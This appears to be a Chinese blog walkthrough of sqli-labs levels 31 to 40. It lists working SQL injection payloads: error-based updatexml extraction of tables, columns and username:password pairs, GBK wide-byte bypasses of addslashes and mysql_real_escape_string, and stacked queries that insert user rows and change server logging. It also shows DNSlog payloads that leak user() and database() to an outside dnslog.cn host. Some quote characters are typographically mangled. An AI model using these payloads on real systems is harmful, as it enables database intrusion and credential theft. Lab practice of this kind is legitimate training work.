文章目录
- 一、sqli-labs靶场
- 1.轮子模式总结
- 2.Less-31 FUN with WAF
- a.注入点判断
- b.轮子测试
- c.获取数据库名称
- d.获取表信息
- e.获取列信息
- f.获取表内数据
- 3.Less-32 Bypass addslashes()
- a.注入点判断
- b.轮子测试
- c.获取数据库名称
- d.获取表信息
- e.获取列信息
- f.获取表内数据
- 4.Less-33
- a.注入点判断
- b.轮子测试
- c.获取数据库名称
- d.获取表信息
- e.获取列信息
- f.获取表内数据
- 6.Less-35 why care for addslashes()
- a.注入点判断
- b.轮子测试
- c.获取数据库名称
- d.获取表信息
- e.获取列信息
- f.获取表内数据
- 7.Less-36 Bypass MySQL Real Escape String
- a.注入点判断
- b.轮子测试
- c.获取数据库名称
- d.获取表信息
- e.获取列信息
- f.获取表内数据
- 8.Less-37 MySQL_real_escape_string
- a.注入点判断
- b.轮子测试
- c.获取数据库名称
- d.获取表信息
- e.获取列信息
- f.获取表内数据
- 9.Less-38 stacked Query
- a.堆叠注入前提条件
- b.注入点判断
- c.轮子测试
- d.获取数据库名称
- e.获取表信息
- f.获取列信息
- g.获取表内数据
- 10.Less-39 stacked Query Intiger type
- b.轮子测试
- c.获取数据库名称
- d.获取表信息
- e.获取列信息
- f.获取表内数据
- 11.Less-40
- a.注入点判断
- b.轮子测试
- c.联合盲注测试思路
- d.获取数据库名称
- e.获取表信息
- f.获取列信息
- g.获取表内数据
- h.堆叠注入
- 二、其他注入方式
- 1.Dnslog对外注入
一、sqli-labs靶场
1.轮子模式总结
到目前为止,我总结了一下出现过的轮子,可以得出一个结论,首先需要知道有几个参数,前面6种都是单参数的,多参数的只能通过报错信息得知,用–+还是#也要看报错情况
① n’ union select 1,2, ’
n可以是1,-1,n’后面可接),select后面看情况设置显示位
② ')–+
)可选,'可换成"
③ ‘) --+(
)可换成)),(可换成((,‘可换成"
④ " --+或’ #或’ --+
⑤ ’ and if(1=1, sleep(1), 1)#
⑥ ") and sleep(1) #
⑦ ', 1, 1)#
⑧ ‘) and 1 and (’
⑨ ‘||1||’
⑩ ‘#或‘–+
⑪ 1’) anandd (if(1=1, sleep(1), 1)) anandd('1
⑫
2.Less-31 FUN with WAF
a.注入点判断
双引号报错,存在注入
b.轮子测试
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘“1"”) LIMIT 0,1’ at line 1
通过报错提示可以得知id做了双引号和括号,因此因该先做闭合
因此轮子应该是2") and 1 and ("2
验证没报错应该可以
c.获取数据库名称
2") and updatexml(1,concat(0x7e,(SELECT database())),0x7e) and ("2
d.获取表信息
2") and updatexml(1, concat(0x7e,(select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’ limit 0,1),0x7e), 0x7e) and ("2
e.获取列信息
2") and updatexml(1, concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=“security” limit 0,1),0x7e), 0x7e) and ("2
f.获取表内数据
2") and updatexml(1, concat(0x7e,(select group_concat(username,“:”, password) from users where id = 4),0x7e), 0x7e) and ("2
3.Less-32 Bypass addslashes()
前提
1.使用了addslashes()函数
2.数据库设置了编码模式为GBK
原理:前端输入%df时,首先经过addslashes()转义变成%df%5c%27,之后,在数据库查询前,因为设置了GBK编码,GBK编码在汉字编码范围内的两个字节都会重新编码成一个汉字。然后mysql服务器会对查询的语句进行GBK编码,%df%5c编码成了“运”,而单引号逃逸了出来,形成了注入漏洞
a.注入点判断
这关应该就是之前说的宽字节注入了,这里需要输入%df’才能出现报错
b.轮子测试
2%df%27 and 1 --+
输出正常
c.获取数据库名称
2%df%27 and updatexml(1,concat(0x7e,(SELECT database())),0x7e) --+
d.获取表信息
2%df%27 and updatexml(1, concat(0x7e,(select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = database() limit 4,1),0x7e), 0x7e) --+
这里不能出现引号了
e.获取列信息
2%df%27 and updatexml(1, concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=(‘users’) and table_schema=database() limit 0,1),0x7e), 0x7e) --+
但是这样该怎么办呢,还有两个引号去不掉
改造下表信息的获取方式
2%df%27 union select 1,2,table_name FROM information_schema.tables WHERE table_schema = database() limit 4, 1 --+
将表查询代入得到
2%df%27 and updatexml(1, concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 3, 1) and table_schema=database() limit 0,1),0x7e), 0x7e) --+
f.获取表内数据
2%df%27 and updatexml(1, concat(0x7e,(select group_concat(username,”:”, password) from users where id = 4),0x7e), 0x7e) --+
这里也有两个引号,咋整,没办法,只能拆开来了
2%df%27 and updatexml(1, concat(0x7e,(select username from users where id = 4),0x7e), 0x7e) --+
2%df%27 and updatexml(1, concat(0x7e,(select password from users where id = 4),0x7e), 0x7e) --+
4.Less-33
同Less32
5.Less-34 Bypass Add SLASHES
a.注入点判断
还是一样存在宽字节注入
b.轮子测试
3+%df’+and+1±-+
这个poc:需要在bp里运行才能看到效果
c.获取数据库名称
3+%df’+and+updatexml(1,concat(0x7e,(SELECT database())),0x7e)±-+
d.获取表信息
3+%df’+and+updatexml(1, concat(0x7e,(select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = database()),0x7e), 0x7e) ±-+
e.获取列信息
3+%df’+and+updatexml(1, concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 3, 1) and table_schema=database() limit 0,1),0x7e), 0x7e) ±-+
f.获取表内数据
3+%df’+and+updatexml(1, concat(0x7e,(select username from users where id = 4),0x7e), 0x7e)±-+
6.Less-35 why care for addslashes()
a.注入点判断
还是一样存在宽字节注入,不能用引号,也不能用%df’
b.轮子测试
3 and 1
c.获取数据库名称
3 and updatexml(1,concat(0x7e,(SELECT database())),0x7e)
d.获取表信息
3 and updatexml(1, concat(0x7e,(select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = database()),0x7e), 0x7e)
e.获取列信息
3 and updatexml(1, concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 3, 1) and table_schema=database() limit 0,1),0x7e), 0x7e)
f.获取表内数据
3 and updatexml(1, concat(0x7e,(select username from users where id = 4),0x7e), 0x7e)
7.Less-36 Bypass MySQL Real Escape String
a.注入点判断
怎么还是宽字节注入
b.轮子测试
3%df’+and+1±-+
c.获取数据库名称
3%df’+and+updatexml(1,concat(0x7e,(SELECT+database())),0x7e)±-+
d.获取表信息
3%df’+and+updatexml(1, concat(0x7e,(select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = database()),0x7e), 0x7e)±-+
e.获取列信息
3%df’+and+updatexml(1, concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 3, 1) and table_schema=database() limit 0,1),0x7e), 0x7e)±-+
f.获取表内数据
3%df’+and+updatexml(1, concat(0x7e,(select username from users where id = 4),0x7e), 0x7e)±-+
3%df’+and+updatexml(1, concat(0x7e,(select password from users where id = 4),0x7e), 0x7e)±-+
8.Less-37 MySQL_real_escape_string
a.注入点判断
还是宽字节注入
b.轮子测试
3%df’+and+1±-+
需在bp环境测试
c.获取数据库名称
3%df’+and+updatexml(1,concat(0x7e,(SELECT+database())),0x7e)±-+
d.获取表信息
3%df’+and+updatexml(1, concat(0x7e,(select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = database()),0x7e), 0x7e)±-+
e.获取列信息
3%df’+and+updatexml(1, concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 3, 1) and table_schema=database() limit 0,1),0x7e), 0x7e)±-+
f.获取表内数据
3%df’+and+updatexml(1, concat(0x7e,(select username from users where id = 4),0x7e), 0x7e)±-+
9.Less-38 stacked Query
据说这关存在传说中的堆叠注入,研究下
mysql数据库sql语句的默认结束符是以";"号结尾,在执行多条sql语句时就要使用结束符隔开,而堆叠注入其实就是通过结束符来执行多条sql语句,比如我们在mysql的命令行界面执行一条查询语句,这时语句的结尾必须加上分号结束
a.堆叠注入前提条件
目标存在sql注入漏洞
目标未对";"号进行过滤
目标中间层查询数据库信息时可同时执行多条sql语句
?id=1’ order by 3%23
?id=1’;show tables%23
?id=-1’;show columns from 1919810931114514%23
?id=1’; insert into users(id,username,password) values(88,‘aaa’,‘bbb’)#
b.注入点判断
单引号报错,存在注入
c.轮子测试
3’ and 1 --+
d.获取数据库名称
3’ and updatexml(1,concat(0x7e,(SELECT+database())),0x7e) --+
e.获取表信息
3’ and updatexml(1, concat(0x7e,(select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = database()),0x7e), 0x7e) --+
f.获取列信息
3’ and updatexml(1, concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 3, 1) and table_schema=database() limit 0,1),0x7e), 0x7e) --+
g.获取表内数据
3’ and updatexml(1, concat(0x7e,(select group_concat(username,‘:’, password) from users where id = 4),0x7e), 0x7e) --+
不是存在堆叠注入吗,怎么用
我们先看下这个配置
然后把它改成off
现在我们在url里看下能不能改这个配置
1’;set global general_log = on;
执行后再查一下看有没有变为on,哇,真的改了耶,好恐怖
10.Less-39 stacked Query Intiger type
a.注入点判断
加入引号报错,存在报错注入
b.轮子测试
1 and 1 --+
c.获取数据库名称
1 and updatexml(1,concat(0x7e,(SELECT+database())),0x7e) --+
d.获取表信息
1 and updatexml(1, concat(0x7e,(select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = database()),0x7e), 0x7e) --+
e.获取列信息
1 and updatexml(1, concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 3, 1) and table_schema=database() limit 0,1),0x7e), 0x7e) --+
f.获取表内数据
1 and updatexml(1, concat(0x7e,(select group_concat(username,‘:’, password) from users where id = 4),0x7e), 0x7e) --+
然后我们再把general_log改为off
然后1;set global general_log = on;运行下
再查general_log状态
说明确实存在堆叠注入
11.Less-40
a.注入点判断
奇数单引号存在无任何输出,有点像盲注
b.轮子测试
-2’) union select 1,2,3 --+
c.联合盲注测试思路
如果没有任何报错信息的情况下,先找出一个可以正常输出数据的句法
如:2’) union select 1,2,3 --+,此间需要:
测试ID是否加了括号
测试是单引号还是双引号
测试union select的显示列数
测试注释符是用#还是–+还是(‘还是(“,需要逐一尝试
出现正常输出后把id改成一个不存在的,如-1,输出结果是
这时可以替换2或3为我们想要显示的内容,如
d.获取数据库名称
-1’) union select 1,2,database() --+
e.获取表信息
-1’) union select 1,2,GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = database() --+
f.获取列信息
-1’) union select 1,2,group_concat(column_name) from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 3, 1) and table_schema=database() limit 0,1 --+
g.获取表内数据
-1’) union select 1,2,group_concat(username,‘:’, password) from users where id = 4 --+
h.堆叠注入
执行前
-1’) union select 1,2,group_concat(username,‘:’, password) from users where id = 4;set global general_log = on; --+
执行后
二、其他注入方式
1.Dnslog对外注入
通常我们面对SQL注入过程中没有回显的情况下,只能通过盲注的方式来判断是否存在SQL注入,但是,使用盲注,手工测试是需要花费大量的时间的,可能会想到使用sqlmap直接去跑出数据,但在实际测试中,使用sqlmap跑盲注,有很大的几率,网站把ip给封掉,这就影响了我们的测试进度,也许你也可以使用代理池
注入语句:
?id=1’ and (select load_file(concat(‘\’,(select hex(user())),‘.http://682y4b.dnslog.cn/abc’))) --+
?id=1’ and (select load_file(concat(‘\’,(select database()),‘.http://682y4b.dnslog.cn/abc’))) --+
http://127.0.0.1:9009/Less-5/?id=-1%27%20union%20select%201,load_file(concat(%27\\%27,hex(user()),%27.mgm89v.dnslog.cn\abc%27)),3–+
如下实际为构造域名:\user().mgm89v.dnslog.cn\abc
执行后点击刷新记录
提取DNS查询记录在16进制转成文本即可获取实际数据